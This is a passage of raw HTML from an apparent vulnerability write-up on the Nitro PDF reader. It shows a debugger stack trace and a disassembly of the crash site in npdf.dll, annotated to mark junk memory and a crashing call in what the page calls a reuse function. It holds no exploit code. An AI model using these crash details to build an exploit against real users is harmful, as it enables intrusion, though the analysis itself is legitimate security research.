class=\"crayon-cn\">73e97e8e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">004509c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x239155<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-49\"><span class=\"crayon-cn\">2e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f0cc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">76fa62fa<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">004509c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x137e8e<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-50\"><span class=\"crayon-cn\">2f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f0f8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">76fa6d3a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73e97e5a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">004509c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">USER32<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">gapfnScSendMessage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x332<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-51\"><span class=\"crayon-cn\">30<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f170<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">76fa6de8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73e97e5a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">004509c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">USER32<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">GetThreadDesktop<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xd7<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-52\"><span class=\"crayon-cn\">31<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f1cc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">76fa6e44<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">02055d40<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">USER32<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">GetThreadDesktop<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x185<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-53\"><span class=\"crayon-cn\">32<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f208<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77ae010a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f220<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f274<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">USER32<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">GetThreadDesktop<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1e1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-54\"><span class=\"crayon-cn\">33<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f284<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">76fa788a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73e97e5a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f2c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ntdll<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">KiUserCallbackDispatcher<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2e<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-55\"><span class=\"crayon-cn\">34<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f294<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73f886f2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">012fa0f8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0178ef40<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">USER32<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">DispatchMessageW<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xf<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-56\"><span class=\"crayon-cn\">35<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f2c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0153365e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bc2b5389 <\/span><span class=\"crayon-i\">ffffffff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0178ef40<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2286f2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-57\"><span class=\"crayon-cn\">36<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114fc5c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73fabde4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000020<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NitroPDF<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxIOFile<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xdf7fe<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-58\"><span class=\"crayon-cn\">37<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114fc70<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0164e72d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">013e0000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">012b3120<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x24bde4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-59\"><span class=\"crayon-cn\">38<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114fcbc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">76ca336a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7efde000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114fd08<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77b09882<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NitroPDF<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImageJPG<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">CxExifInfo<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">process_SOFn<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x637dd<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-60\"><span class=\"crayon-cn\">39<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114fcc8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77b09882<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7efde000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">741ca300<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">kernel32<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">BaseThreadInitThunk<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x12<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-61\"><span class=\"crayon-cn\">3a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114fd08<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77b09855<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0164e7ab<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7efde000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffff <\/span><span class=\"crayon-v\">ntdll<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">RtlInitializeExceptionChain<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x63<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-62\"><span class=\"crayon-cn\">3b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114fd20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0164e7ab<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7efde000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ntdll<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">RtlInitializeExceptionChain<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x36<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-63\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-64\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0151 seconds] -->  <\/p>\n<p>reuse function, npdf.dll:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59767285e137d798692561\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> ;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-   1014FF59                           L1014FF59:   1014FF59  8B4AF0                    \t\tmov\tecx,[edx-10h]   1014FF5C  85C9                      \t\ttest\tecx,ecx   1014FF5E  7409                      \t\tjz \tL1014FF69   1014FF60  8B01                      \t\tmov\teax,[ecx]     &lt;&#8212; ecx -&gt; junk   1014FF62  FF5010                    \t\tcall\t[eax+10h]     &lt;&#8212; Crash   1014FF65  85C0                      \t\ttest\teax,eax   1014FF67  750C                      \t\tjnz\tL1014FF75   1014FF69                           L1014FF69:   1014FF69  E8123D4300                \t\tcall\tSUB_L10583C80   1014FF6E  8BC8                      \t\tmov\tecx,eax   1014FF70  8B10                      \t\tmov\tedx,[eax]   1014FF72  FF5210                    \t\tcall\t[edx+10h]   1014FF75                           L1014FF75:   1014FF75  8B4D08                    \t\tmov\tecx,[ebp+08h]   1014FF78  50                        \t\tpush\teax   1014FF79  8B03                      \t\tmov\teax,[ebx]   1014FF7B  56                        \t\tpush\tesi   1014FF7C  8D0478                    \t\tlea\teax,[eax+edi*2]   1014FF7F  50                        \t\tpush\teax   1014FF80  E83BC2FFFF                \t\tcall\tSUB_L1014C1C0   1014FF85  8B4508                    \t\tmov\teax,[ebp+08h]   1014FF88  5F                        \t\tpop\tedi   1014FF89  5E                        \t\tpop\tesi   1014FF8A  5B                        \t\tpop\tebx   1014FF8B  8BE5                      \t\tmov\tesp,ebp   1014FF8D  5D                        \t\tpop\tebp   1014FF8E  C20C00                    \t\tretn\t000Ch  ;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59767285e137d798692561-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59767285e137d798692561-30\">30<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-1\"><span class=\"crayon-sy\">;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-2\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF59<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">L1014FF59<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-3\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF59<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8B4AF0<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">edx<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">10h<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-4\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF5C<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">85C9<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">test\t<\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-i\">ecx<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-5\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF5E<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">7409<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">jz \t<\/span><span class=\"crayon-i\">L1014FF69<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-6\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF60<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8B01<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">junk<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-7\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF62<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">FF5010&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-i\">call<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">10h<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Crash<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-8\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF65<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">85C0<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">test\t<\/span><span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-i\">eax<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-9\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF67<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">750C<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">jnz\t<\/span><span class=\"crayon-i\">L1014FF75<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-10\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF69<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">L1014FF69<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e137d798692561-11\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF69<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">E8123D4300&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">call\t<\/span><span class=\"crayon-v\">SUB<\/span><span class=\"crayon-sy\">_<\/span>L10583C80<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e137d798692561-12\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1014FF6E<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">8BC8<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\t\t<\/span><span class=\"crayon-e\">mov\t<\/span><span 